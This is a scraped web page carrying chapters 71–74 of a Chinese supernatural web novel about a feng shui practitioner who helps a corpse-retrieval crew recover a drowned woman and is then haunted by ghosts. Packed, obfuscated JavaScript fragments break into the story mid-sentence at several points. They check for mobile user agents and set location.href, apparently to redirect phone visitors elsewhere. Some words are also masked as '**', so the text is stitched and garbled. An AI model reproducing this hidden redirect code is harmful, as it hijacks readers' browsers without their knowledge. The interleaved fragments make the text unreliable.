l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15249162|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盘,轻而易举就能找到气口。 不过,死水潭子小,还好,手就能触碰到生气流淌的气感。 这条天沧江却很宽阔,没有罗盘,凭我这点儿水平,就只能是束手无策了。 “停!”我骤然喊了一声。 这位置,距离岸边,都只剩下二三十米,很近很近。 苟驹立即停下船。 我手中的罗盘,指针转速快到极点,嘶嘶声都变得尖锐。 “她就在这儿了。”我刚沉声说完,忽的一下,船身猛地一震荡,脚下居然都是湿漉漉的水! 紧接着,船猛地一下就翻了。 我根本反应不过来,苟驹反应速度快,侧身朝着水中一跃,他落水,我整个人却直接被翻转的船身压了下去,眼前天旋地转,只能死死握紧罗盘,屏住呼吸! 水里的光线太暗,和死水潭子不一样,我根本瞧不见东西。 正当此时,肩头忽然一紧,是被什么东西拽住了,朝着上方游去! 哗啦一声,是破开了水面。 我大口大口的喘气儿,才瞧见,将我从水里拖上来的,是一个鹅蛋脸,柳叶眉,丹凤眼的女人。 不正是先前和苟驹几人对峙那女捞尸人吗? 她不由分说的抓住我肩膀,朝着岸边游去。 “不想死就别乱动。”女人语气冷冽。 她劲儿太大了,我根本反抗不了。 没两分钟,我就被她推到了岸边,岸上乌泱泱站着一大群人,脸色都透着一阵难看。 本能促使,我一手揣起罗盘,双手抓住岸边石头,爬上了岸。 那女人随之爬上来,紧接着哗啦一声水响,是苟驹冒出头,他一样到了岸旁,骂了句:“你干什么呢?” 女人冷冷回答:“干什么?救你的人。” “船都撑不住翻了,我不帮你救人,等会儿这江里头又要多一条无辜性命,让卢家小姐再多一条杀孽。” 她话音落罢,岸边那一大群人,脸色无一例外都沉到了极点。 当头有个穿着布衣布鞋,头发短寸花白,打理十分干净的老人,沉闷开口:“苟驹,卢家的事儿,你甭管了,我们已经请了徐湘灵捞尸人帮忙。三个月了,卢家等你等的仁至义尽,你别在这里闹笑话。” “真再弄**,也是给我们卢家添乱。”话语间,那老人看我一眼,显然是意有所指。 苟驹脸色一变,他撑着岸边石块上来,解释:“卢老爷子误会,这可不是普通人,他是我请来的风水先生,能确定卢小姐的位置,方便打捞。” “我晓得,时间是拖长了一点儿,不过这水里的事情,不是那么简单的,徐湘灵这小娘皮,她一样没辙!” “刚才更并非我撑不住船,是陈先生找到位置,忽然船被顶翻了!”苟驹思维倒是敏捷,字句凿凿。 场间众人都微微变色,看我的眼神带着一丝难以置信。 噗通一声轻响,是那女人徐湘灵骤然跃入水中,朝着我们翻船的方向快速游去! 苟驹骂了一声不讲规矩,骤然再跳入水里,快速往前游! 我身上冷飕飕的,心却咚咚狂跳,不受控制的打了个寒噤。 第71章 女尸面朝下 昼夜温差大,再加上入水出水,又有江风,温度就降得极低。 能瞧见捞尸队的人都在朝着苟驹和徐湘灵游动的方向开船。 那卢家老爷子往前走了几步,伸手,是要和我握手。 稍一迟疑,我伸手和他握了握。 起先,这卢老爷子脸色是沉冷的,此刻却成了面带笑容。 “先前我有眼不识泰山,没想到小兄弟居然是个风水先生,是我少见多怪了,还请见谅。”卢老爷子的言语间,还有一丝歉意。 我笑容略有僵硬,摇头说没事儿。 松开手后,卢老爷子叹了口气,才说:“我那孙女,命不好,跳江死在这里,还诈尸害人,苟驹的名声,在内沧市是有的,否则我们也不会等了三个月,今天是着实没辙,才请了外来的人,我许诺过,只要她比苟驹先打捞上来尸体,就予以重酬,不过,这位置既然是陈先生你指点的,该苟驹的那一份,少不了。” 这卢老爷子先前可没有这样和善。 我隐约感受到,风水先生这四个字代表彰显的东西了。 无论是村里村外,无论是捞尸人,还是商贾之家,对风水先生都十分尊重。 只是微微点头,我没有多言其他,依旧注视着天沧江中。 苟驹和徐湘灵都消失在水面上,他们消失之处,水波逐渐平稳,另外两条船围了过来,其余捞尸队的人都在张望着水面。 偏偏这时,我忽的又听到嘶嘶声响。 快速从兜里掏出来罗盘,盯着其上指针转动不止,针头几乎要飞出! 我脸色骤然一变,怎么到这里,转针更厉害了,怨气徘徊的更多!? “后退!”本能的反应,让我沉声低喝。 结果,没有人理会我。 卢老爷子一脸诧异,问:“陈先生,怎么了?” 毛骨悚然的感觉涌了上来。 因为此刻,卢老爷子身上不停的渗水,一颗披散着黑发的头,耷拉在他肩头上,隐隐约约露出半张脸,白得让人头皮发麻。 她稍稍抬头,瞅着我,眼中透着浓郁怨毒。 “滚!”她声音尖锐极了。 可卢老爷子丝毫没有反应似的,还是诧异古怪的看着我。 场间其余人一样如是,他们像是瞧不见卢老爷子肩膀上的“女人”。 我毫不犹豫,扬起罗盘,直接朝着卢老爷子肩膀打去! 人群顿时骚动起来,有人骂着脏话,有人冲向我。 卢老爷子一样被吓了一跳,赶紧朝着人群那边闪去。 三个人陡然挡在我面前,喝道:“你干什么呢!?” 我驻足停手,再盯着卢老爷子,他手微微拍着胸口,不过,肩膀上的女人头消失不见了。 “别靠近水边,先前你肩膀上有个鬼。”我哑声开口。 卢老爷子一愣,惊疑的看自己两侧肩头。 场间的卢家人本来对我虎视眈眈,这会儿一样被吓得不轻,满脸茫然。 这时,另一侧的水面被破开。 徐湘灵和苟驹,几乎同时冒头出来。 他们一无所获,徐湘灵朝着岸边游来,苟驹则上了船,船朝着岸边开来。 片刻,他们又上了岸。 “卢老爷子,这人是个神棍骗子。”徐湘灵冷冷开口。 苟驹随后跳上岸,骂了句:“小娘皮,不讲规矩,听了一点儿信儿就跑,没得手,还要怪人了?不是你乱了刚才的情况,我早就把卢小姐弄上来了,化煞了的水尸,又被惊扰,能待在原地一动不动让你找?” 我没说话,目光在卢家所有人身上扫过,没有看见任何异样,再度低头看着手中罗盘,此刻,罗盘转针停止了,代表着怨气消散,鬼走了。 “她不在这里了。”我再看向卢老爷子。 卢老爷子擦了擦额头上的汗珠,说:“那在哪儿?刚才那是我孙女儿吗?” “可能是吧,我不认识她。”我摇摇头回答:“可能在水里某个位置吧。” 苟驹眯着眼,他若有所思。 徐湘灵则黛眉微蹙,一直看着我,似是在思考。 “陈先生务必再看一看,找一找,卢家有重谢!”卢老爷子深深一抱拳。 “她在水里会走,会动,找到位置,一样会跑掉,白天来?”我开口说,同时看向苟驹。 “行。”苟驹当即点头。 “不可能!”徐湘灵语气都变了。 “小娘皮,你别瞎咧咧,卢老爷子,我觉得卢家可以让她闪人了,陈先生发了话,咱们就白天来捞尸。”苟驹先扫过徐湘灵,又看向卢老爷子。 “你们捞尸队,用那么多乱七八糟的手段,还下无情钩,就已经坏了规矩,苟驹,你不要以为祖师爷管不了你,你一点一点的破规矩,迟早得出大事!白天是不可能捞尸的,太坏规矩。”徐湘灵很气愤,还有几分怒不可遏。 我这才明白过来,苟驹的捞尸队,并非像是徐湘灵这样的专业捞尸人? 苟驹应该是专业的,可他带的人,是利用一些专业能力,操使上了各种非专业的手段?就是所谓的破规矩? 白天捞尸,更是他们这一行的忌讳? 可对我来说,这的确是我思忖下来最好的法子了,白天见不了鬼,诈不了尸,只要找到那卢小姐的位置,苟驹轻而易举就能将尸体打捞上岸。 “徐捞尸人,这件事情是卢家考虑不周了,就算你今晚白跑了一趟,虽然没有成事,但报酬我们会付十分之一。”卢老爷子一番话,直接下了定论。 徐湘灵跺了跺脚,她没吭声,再度一跃进了水中,等游到江中心她的船旁侧,上去后,她居然拿着一根长长的竹竿,撑船离去。 “刚才发生了啥子?”苟驹小声问我。 我倒没有藏着掖着,直说了过程。 苟驹眼皮跳了好几下,才说:“真是卢小姐趴在卢老爷子后背了?” “如果那是卢小姐的话,那就是了。”我点头。 “有问题吗?”我又问了一句。 “咳咳,没问题,怎么会有问题?天亮了把尸体弄上来,咱就算交差了。”苟驹摆了摆手。 苟驹很精明。 他的反应让我晓得,肯定这里有些问题,可他不说,这里那么多人,我不好问,问了也只能被搪塞。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15249163|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 其余两条船上的人都下来了,他们听见我刚才的话,稍稍往岸里头走了些。 我时而注意一下罗盘,指针没有再动过。 卢家的人一样没走,就在原地等。 这一夜过得很漫长,终于,天亮了。 鸡鸣破晓,苟驹伸了个懒腰,喊了声:“干活儿。” 那八个捞尸队的人纷纷上船,苟驹一样上船,我穿了一夜的湿衣裳,这会儿打了个喷嚏,跳到船上后,我才摸出来罗盘,像是昨夜一样,如法炮制的放平,左右平晃胳膊,仔仔细细的看着指针。 很快,我就确定了一个方向,让苟驹往北开船。 咣当咣当的声响,水面不停的荡漾起波浪。 天亮了,还有很多人早起晨练,他们瞧见水面有捞尸船,纷纷都在岸两侧**,就连大桥上,都开始多了一些围观的人。 当船停在正北方,且无法往前的时候,这岸边有很多睡莲,时值冬天,叶片一个个黑黄色,还有一些已经腐烂,空气中还弥漫着一股淡淡的鱼腥臭味儿。 “就是这里了。”我指了指这片区域正下方。 罗盘的转针,在这个位置反应是最剧烈的,和昨夜如出一辙! “成。”苟驹点了点头,咧嘴一笑,说:“我下去看看!” 他毫不犹豫,跃入了水中。 隔了几分钟,苟驹脑袋一下子冒出来,还顶着不少睡莲的烂叶子。 “你们几个,都下来,**,是在下边,草根太多了,不好整。” 另外八个捞尸队的人,毫不犹豫的跳进了水里。 随着他们沉入水中,本来还算清澈的水面,不多时就冒起来一股股淤泥,除了鱼腥臭味,还带着另一股难闻的腐臭,让人想作呕。 五六分钟后,几人冒出水面。 苟驹在正前方,八人则在左右后方,他们几人的肩头,顶着一具女尸。 这女尸的身材很娇小,明明应该很轻,可一共九人,好像是用尽了浑身解数,才将她顶到水面。 更让人心头发寒的,是这女尸的头是朝着下边儿的,因此破开水面后,只能瞧见一个后脑勺。 九人吭哧吭哧的废了半天劲儿,将女尸抬上另一条捞尸船。 这时,分外诡异的一幕发生了。 尸体是放船上了,平躺着朝上方放的。 下一瞬,我却瞧见她还是面朝下,身体似是趴在船底…… 此外,她脑袋好像歪了一下,侧头,露出半张苍白的**脸,眼珠子盯着我看着,目不转睛。 那条船里上去了四个人,一个个都战战兢兢,一样被吓到了。 另外船上的四人格外惊悚,额头上不停淌水,不知道是汗珠,还是河水。 “怕个卵?和他们说清楚,面朝下,草根缠尸,这不是**,是被人弄死的,咱就算完事儿。”苟驹咧咧嘴,显得见怪不怪。 我确定,这女尸就是昨晚鬼魂趴在卢老爷子肩膀上那个。 只是她这么瞅着我,这么怨恨,多多少少还是让我有些心悸和紊乱。 她不是**? 苟驹这就看出来了? 第72章 水来财,不速客 我隐隐回想到昨晚,苟驹问我,是不是卢小姐趴在卢老爷子后背了? 随后他就强调没事,又说将尸体捞上来交差,就算完事儿。 这里肯定有隐秘,捞尸人能看出来,我以及捞尸队的八人看不穿。 船再度发动,朝着回返的方向驶去。 因为我们来北边儿,没有预兆,船开得快,捞尸的速度更快,这时候,才围过来一大群人在拍水草,我们都已经扬长而去。 不多时,就回到了卢家人所在的岸边。 这时候还发生一件怪事,卢小姐的尸体就像是秤砣似的,怎么都拖不动。 连带着苟驹在内,一共九人,用了九牛二虎之力都没办法。 岸上多少有些人心惶惶,卢老爷子则来回踱步。 忽的,苟驹从脖子那里抽出来个东西,是个吊坠,朝着女尸脑袋边晃了晃。 我瞧见船都往上浮了浮。 再之后,他们就不费吹灰之力,将卢小姐抬了上岸。 卢家人让开一条道,路边停了一辆车,后备箱开着,尸身放上去后,立马就有人将其关闭。 不少人都松了口气的模样,卢老爷子更拳头用力一砸手掌,他如释重负。 “苟捞尸人,你的报酬,我等会儿就遣人送去捞尸队。”卢老爷子面露感激。 “要得。”苟驹连连点头,随后才说:“卢老爷子你得记住了,卢小姐不是跳江**的,她是被害死的,我们打捞尸体的时候,水草缠尸,尸身斜斜立在水中,尸重不肯上水,上水不肯上岸,实属竖尸死倒,有冤在身,你们带回去之后,切记不能放在水旁,夜里最好用红绳缠尸,否则的话,尸又要进水,那时候,可就不是这个价钱了。” 苟驹说了一大串话,全都是捞尸人这一行的规矩。 卢老爷子连连点头。 再之后,他看向我,说:“陈先生要是没事儿……” “陈先生有事,忙得很嘛,卢老爷子我们就不多说了。”苟驹当即婉拒了卢老爷子还要说的话,和我做了个请的手势,示意我再上船。 能看得出来,卢家有钱有权,只不过,我也没有趋炎附势的心态。 给苟驹办的这件事情,应该算是敞亮,我只想安安分分的待在那个小二楼里,琢磨风水术,而且,那楼里边儿还有关乎着陈家的隐秘。 思绪间,我同卢老爷子善意一笑,上了船。 很快,苟驹他们也回了船上。 返回途中,苟驹嘴里一直哼着一种腔调怪异的曲子,其它几人一样乐乐呵呵,说着荤段子,笑得都合不拢嘴,一群人是高兴极了。 等回到回水湾,停了船,苟驹让我先进屋歇歇,喝口姜茶,他嘱托两个人去给我买被褥棉絮。 我去他房间,开了自己的行李箱,换了一身干净的衣服。 当然,我检查了一下那个防水的皮馄饨,果然,两本书都很干燥。 虽说我手机短暂进水,但都没什么问题,现在的电子产品,防水性能都还好。 从苟驹房间出去,外边空无一人,大多平房门都虚掩着,里边儿空空荡荡,吃饭那个房间里,桌上倒是摆着几碗姜茶。 我去端了一碗喝着,顿觉得身上寒气被驱散不少。 心里却觉得挺奇怪,人去哪儿了? 随后,我走到唯一关着的那平房门前,正伸手想敲,才发现,这道门实际上也开了一条缝。 从门缝中能瞧见,里边有好几人,苟驹在最前边儿,他正双手奉香,冲着一个盖红布的东西作揖。 后边儿还有六人,无一例外学着苟驹的动作行礼。 那红布很宽大,下边儿像是一个大箱子,只是盖的太严实,瞧不见确切。 “谁!?”苟驹一个激灵回头,恰巧和门缝外的我对视。 脚步声急促,是一人上前,将门关的严严实实。 过了两分钟,房门被打开,苟驹等人鱼贯而出。 那六人像是没事儿人似的,各自去房间里,苟驹摸了摸自个儿的大光头,说:“陈先生进来?不介意的话,倒是可以上柱香,让河神老爷保平安。” 我开始心里还犯嘀咕,是不是偷看到了什么不该看的,他们才关门。 没想到苟驹会邀请我。 更没想到,他会提河神老爷这四个字! 河神?河伯? 水尸鬼!? 我眼皮一直跳,杵在原地,一动不动。 “陈先生?”苟驹喊了我一声。 我回过神来,摇摇头说:“不用了。” 天沧江我去过了,还下了水里。 的确,两个不同的水域,不会发生在黄渠村的那种事儿。 只是对于河伯这种东西,我隐隐还是惧怕的,眼前总闪过它们似人又非人的可怕模样,更想到那些癞疙宝的残尸。 “成,我心里倒也想着,风水先生肯定有自个儿的祖师爷,不可能拜地方东西,呵呵。”苟驹再摸了摸头。 这时,一辆车开到了最当头的平房前,有两个捞尸队的人从房间出来,苟驹带上门,和我示意往那边走。 车上下来个人,略面熟,手里提了个黑皮箱子。 他将箱子交给苟驹后,又上车,匆匆离去。 苟驹进了吃饭那房间,六人都进去了。 我便没进去。 箱子里是苟驹他们的报酬,这东西和我无关,我去看了,不大好。 阳光重了很多,晒在脸上很舒服,胃里也暖洋洋的。 几分钟后,那几人都出来了,苟驹又神神秘秘的喊我。 我这才进那房间。 黑皮箱子开着,不过,里边儿没有钱,放着几个精致的长条锦盒。 “咳咳,捞尸队不是捞尸人,我手底下这几个,就单纯是命硬,这行就是撑死胆大的,饿死胆小的,他们分现金。” “按规矩,陈先生帮了我大忙,虽然是九娘以前答应的事儿,但也得见个彩。” “你们先生的规矩,我懂。” 苟驹拿起来一条锦盒递给了我,还笑眯眯的说:“陈先生别嫌少” 他这一番话,基本上将我话堵**。 还有,办事儿收钱这规矩,我在老鳏夫那里就知道一些。 十里八乡的人找他办事儿,他赚了不少,否则门前哪儿能摆石狮子? 接过来锦盒,稍稍有些沉甸甸。 我打开看了一眼,脸色都微微一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15249164|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变。 房间里有一注斜阳光,刚好射在锦盒里,内里躺着一条十分精致,灿金色的小鱼。 “水来财,我吃的虽然是**饭,但也深谙这个道理,嘿嘿,就学着先生似的,报酬只要黄鱼儿,这会陈先生拿了小的,下回,我整点儿大事,让陈先生也拿条大黄鱼润润。”苟驹说着。 可我心都快从嗓子眼里跳出来了…… 金子啊!? 我就昨晚跟着去办了一下事儿。 还算是给瞿九娘还人情,当然,也是给自己留后路。 结果,苟驹居然给了我这么一条金子!? 良久,我才回过神来,合上了锦盒。 去给我置办东西的两人回来了,大包小包的。 苟驹又招呼我,领着他们一起,回了小二楼,当然,我将自己的行李箱也带上了。 随后我让他们将东西放下,我自己收拾,苟驹几人便离开。 …… 简单铺了个床,没弄别的,我先沉沉睡了一觉。 可睡梦中,我总觉得身上死沉死沉的,像是压着什么东西。 想要睁眼,眼皮更像是被一双手摁住一样,怎么都睁不开! 我挣扎了半晌,还是醒不来。 这是鬼压床…… 最终只能放弃…… 再等我醒来时,腰酸背痛,浑身上下哪儿都疼。 窗户里照射进来夕阳光,格外刺眼,我伸手挡了挡,转身坐了起来。 发了一会儿呆,我才开始收拾东西。 临天黑时,生活用品被归置的差不多了,我还扫了地,屋子都变得干净起来。 虽然白天鬼压床,但睡得着实不错,我还精神的很,去了前边儿平房一趟,发现苟驹他们全都不在。 腹中空空,我就往周边走了之后,市区,哪儿哪儿都不缺商业街。 吃了饭,又找了个金店,苟驹给我那一条小金鱼,二十克,按照当下的金价,得值小九千! 我没犹豫,直接卖了换钱。 算上卡里原本的千把块,也算是个“万元户”了。 昨夜经历的那点儿波折和惊悚,对比上这收获,什么都算不上! 又买了些水果和其余吃食,我才走**水湾。 一通耽搁下来,**点了,平房那一块儿灯都没亮,苟驹他们还是没回来。 走回小二楼前,说实话,这黑沉沉的天,房子前边儿没路灯,多少还是有些阴森,这也算是天黑的通病了。 门,却居然虚掩着一条缝…… 明明我出来的时候,关了灯,门缝里却透出来一丝灯光! 苟驹在里边儿? 肯定不能是进贼,哪儿有贼光明正大还开灯的。 三步并作两步,我进了一楼。 客厅里直挺挺站着个人,背对着我。 他腰背板直,头发苍白,却没停顿,朝着二楼方向走去。 “你谁啊!?”我刚喊一声,他却径直上了楼梯。 才打扫干净的地面全毁了,都是脏兮兮的泥脚印…… 我皱起眉头,气不打一处来,喊着:“你谁啊,下来!” 同时,我朝着楼上追去。 第73章 跟我去卢家 脚印宽大,除却泥泞,空气中还飘着一股腐烂的臭气,直冲人天灵盖。 我没有追上那人身影,脚印经过二楼,径直上了三楼天台。 当我追出去后,圆月高悬,近得触手可及。 可天台上空空如也,哪儿有什么人,就连脚印都没有一个…… 我走到天台中央,更觉得茫然,跑哪儿去了?**? 三楼不算太高,却也绝对不矮了,我刚没听到任何重物坠地的声音啊。 依旧顺着天台四边看了一圈儿,没瞧见下方有人。 当我下楼时,却发现分外荒诞离奇的一幕。 明明楼梯那么多脚板印,全都消失不见,和我刚打扫过后一般,地面干净的一尘不染。 我匆匆回到一楼客厅,那里的泥泞脚印一样消失了。 产幻了? “姝灵?”我喊了一声。 对,先前白姝灵没出来,这就很奇怪。 家里进贼了,她多少得有点儿反应吧。 身旁安安静静,瞧不见半个鬼影子。 我一激灵,手往兜里一抄,贴身装着的布人居然没了! 手往外一拔,顺道衣兜都给翻开,是真的空无一物。 我先前明明记得,换衣服的时候,我还将布人从兜里拿出来,贴身放好,难道是出门的时候,我将布人弄丢了!? 思绪间,快步朝着卧室走去,一手掀开了被子,床上一样什么都没有。 一股焦虑和紊乱感冲上心头,我正准备返回吃饭的地方去找,忽然又觉得,房间冷飕飕的,这温度就像是将手伸进了冰箱,让人重重打了个寒噤。 “笃笃笃笃”的敲门声响起。 “谁?”我警觉的走到卧室门前,盯着客厅门。 没人回答我,就只是敲门,笃笃笃笃的,十分急促。 “苟驹?”我喊了一声。 敲门声戛然而止。 这一时间的安静,让人心跳的更快。 汗珠顺着额角淌下,敲门的人,绝对不是苟驹! 懊恼的感觉更重,如果不是将布人弄丢,现在白姝灵已经告诉我,是谁在敲门…… 当然,我肯定不是因为白姝灵能在“某些”地方帮到我,现在她不在,不方便,这个原因去心急。 是因为,白姝灵本身就不错,我们两人之间的关系也格外微妙,人,要讲一个责任。 恐惧的时候,人会想说话,来排解恐惧。 没人说话的时候,就会乱想,思维发散。 我一手摸到了怀中的冰凉硬物,寻龙分金尺,这东西是打过膏肓鬼的,老陈家的两样风水法器,都是厉害的镇物,面对尸鬼,自保无虞。 谨小慎微的走到门前,我一手拽开门,冷风嗖嗖的刮着,门外又空无一人了…… 我不知道怎么说,心上像是有根悬梁之刺。 这时,视线中忽然闪过一道人影,距离我很远,长发飘飘,分明是个女人。 第一反应,是白姝灵?! 本来往前迈了两步,一下子又驻足。 白姝灵在那么远飘着干什么? 分明是先前敲门的“人”! 神三鬼四,敲门的肯定不是活物。 心里发紧,脑仁都一阵阵抽痛。 我退回门内,将门关上,小步走到另一侧的窗户位置,瞄着远处。 这角度,恰巧能看见视线尽头的那女人。 我没有跟上去,她依旧在走远,很快就完全消失不见。 直至此刻,我才稍稍缓过来一口气。 一扭头,一张苍老的脸几乎杵在我脸上,我魂儿都快吓飞了,寻龙分金尺朝着他当脸劈去! 手陡然停住,那老脸瞅着我,表情显得木然。 我却认出他来,居然是卢老爷子? “嘘……”卢老爷子做了个噤声的举动,眼珠子瞄着窗户位置。 “她来找你了……”卢老爷子的语气,透着一丝惨然。 “陈先生,去卢家,走,快一点,这里不安全!趁她还没进屋,快走!” 卢老爷子脸上都是焦急和催促。 我一时间还没反应过来,卢老爷子直直朝着门口走。 他背影宽大,腰背板直,头发更苍白。 这不正是先前在屋里没听我说话,直接上二楼的人影吗? 居然……是卢老爷子?! 不,不对,空气中弥漫着一股臭鱼烂虾的味道,地面又是一滩泥泞脚印。 “来……” “来啊……” 门已经被卢老爷子打开,他冲着我左右摇摆着左小臂,一部分月光照射在他脸上,这一幕别提多恐怖了。 我从怀中掏出来了另一样东西,罗盘。 指针飞速旋转,这转针,代表恶阴之气徘徊! 有鬼祟! 卢老爷子……不是人! 鸡皮疙瘩蹭蹭往下掉。 只不过,不等我新的举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15249165|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动,门口又空空荡荡,卢老爷子消失不见,地面的脚印一样没了…… 我再度谨慎走至门前,月光太清冷,夜路太死寂。 接连撞了两下鬼,让我格外的心绪不宁。 最重要的是,白天我们分开的时候都好端端的,怎么天黑没多久,卢老爷子就**…… 那先前的鬼是谁? 卢家小姐? 脑子莫名就闪过一个画面,当时卢家小姐被捞起来后,只能脸朝着船底,之后还侧过来,怨毒的瞅着我…… 真就和那女捞尸人徐湘灵说得似的,坏了规矩,要出事? 可这规矩,是捞尸人的规矩啊。 心烦意乱的感觉重重叠叠的涌来。 小二楼我是待不下去了,仔仔细细审视过外边儿,没瞧见半个鬼影子。 我小心翼翼将寻龙分金尺插在裤腰头上,一只手摁着,确保随时能**,随之我匆匆离开。 先前那女人的身影,好像是消失在平房前边儿,因此,我就直接走的平房背面。 顺着我先前吃饭,卖小黄鱼儿金条的路走了一遍。 饭店去了一次,金店也去了一次,甚至还去了我买杂物零食的超市,和他们形容过布人的模样。 这几家店都告诉我,没见过布人,天黑到现在,更没有人丢过东西。 布人不值钱,他们没必要骗我。 我更心重,更觉得发慌了。 路上走了得有七八圈儿,甚至连路边的环卫工我都问了,还是一无所获。 时值午夜,我沮丧的回住处。 本能的,就走了平房前边儿。 这时候,那几个房间都亮着灯,是人回来了。 回来其实也就回来了,我没必要多管什么。 鬼使神差的,又想到先前卢老爷子在小二楼里,卢家小姐还来敲了门,因此,我去了苟驹房门前停下,敲了敲他的门。 房门被推开,苟驹红光满面,一副神清气爽的样子。 “咦,陈先生还没睡呢?”苟驹稍显的诧异。 “嗯,和你说个事儿。卢老爷子来过了。” 我其实话还没说完。 苟驹立马甩甩头,人都谨慎起来,说:“卢家去不得,卢小姐是死倒上岸,不安宁,卢家是得出事的。” 刚语罢,苟驹脸色微微一变,说:“你不会是刚去了,才回来?” 我脸色同样变了,死死的盯着苟驹,说:“你晓得会出事?” 第74章 河神不是河伯 苟驹做了个嘘声的动作,稍显警惕的看着我后方,左右,似是确定没人,才松了口气。 “陈先生……你糊涂啊……白天那老爷子要邀请你,我不是帮你拒绝了吗?”苟驹答非所问,不过,还是说的一码事儿。 我回想起来,是,白天卢老爷子接了尸体后,就问我有没有事儿。 他话都没说完,苟驹就口快,帮我婉拒。 我那时候没有趋炎附势的心态,也没说什么…… 脑子里有闪过一个画面,卢小姐脑袋耷拉在卢老爷子的肩膀上…… “我没去过卢家。” 话刚出口,苟驹眼前就一亮,擦擦额头,那里当真泌出不少汗珠。 “那就好……那就好……你跟我来……” 苟驹立马出房间,他抓住我胳膊,是要领着我去某个地方。 我站在原地没动,却立马追问苟驹:“你知道卢家会出什么事儿?你知道,卢老爷子可能会**死?” “呃……”苟驹眼珠略有几分飘忽,才说:“卢家看来已经遇到麻烦了?不过,陈先生你没必要多管的,你想嘛,卢小姐被人杀的,是死倒,她又往卢老爷子肩膀上耷拉个头,这事儿肯定有蹊跷,卢家心知肚明。” “再退一万步说,甭管是白天黑夜,只要是死倒,那就是一个概念了。” “无论是咱们,还是徐湘灵,都肯定会弄上来尸体,肯定会让卢家带走对不对?该出事,肯定还是得出事,为啥咱们不拿了那笔钱?” “你甭管他们就对了,最好现在还是拜一拜河神老爷,让他给你保个平安。”苟驹一番话,听起来是那么回事儿,是那么个道理。 可我心里还是不自然。 出神间,苟驹拉着我手腕,将我拽进拜河神老爷的房间。 苟驹还在碎碎,意思是不管卢家许诺给我什么好处,肯定都不能去他们那里,更不能沾染卢小姐的事儿。 “卢老爷子**。”我收起思绪,沉声开口,打断苟驹的话。 “来找我卢老爷子是个鬼,让我去卢家。” “卢小姐也来过了。” 就这么两句话,直接让苟驹满头大汗! 他咽了口唾沫,哑声说:“那更得给河神老爷上香了……我给你拿……” 语罢,苟驹朝着眼前那盖着红布的大箱子走去。 “咦?这什么东西?”他语气忽然显得很诧异。 我本来也心神不宁。 河神老爷,多半指的就是河伯,我能拜河伯? 苟驹的语气,又让我顺着就投过去了视线。 却瞧见那盖着红布的大箱子旁,有个小桌案,桌上放着香炉,满满当当插着烧完的香杆,香灰四散。 一角红布搭在桌案上,而桌案上边儿又立着东西,恰巧,那红布就被那东西顶着! 苟驹正好掀开红布,露出下方一个惟妙惟肖的布人儿。 我脸色骇然大变。 “布人?”苟驹嘴里骂骂咧咧:“谁那么不开眼,还给河神老爷放个布人,红盖头盖脑袋,是给河神老爷娶媳妇?” 他伸手就要抓那布人儿。 我眼疾手快,一把将布人抓在手中! 随后神态格外沉冷,死死的盯着那箱子。 苟驹被我吓了一跳。 我没吭声,将布人揣进兜里。 只是,后心一直冒冷汗,都能感觉到,脸上的汗毛根根竖立。 苟驹分外不自然的看着我,是欲言又止。 “河神,我就不拜了,布人,是我的,我已经找了一夜。”我哑声开口。 “这……”苟驹一时间似是不知道说什么。 我转身要往屋外走。 苟驹才赶紧上前拦下我,他伸手,递给我三根香。 “还是拜一拜吧……可能是哪个不开眼的,捡了布人,觉得有意思,就送河神老爷了,卢家老爷子没了,卢小姐又找上来,可能还是觉得陈先生你插手了这事儿,河神老爷护着,他们就来不了了,那卢老爷子,肯定带着泥脚印,死倒**肯定都是在水里,水里的事情,河神最容易解决了,鬼要敬三分的。” 苟驹语速飞快。 我没吭声,斜睨了那箱子一眼,却想起来另一个细节。 睡觉的时候…… 我曾察觉到鬼压床,睁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15249166|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不开眼…… 布人要是掉在这屋里某个角落,那可能是我遗失了,自己没想起来。 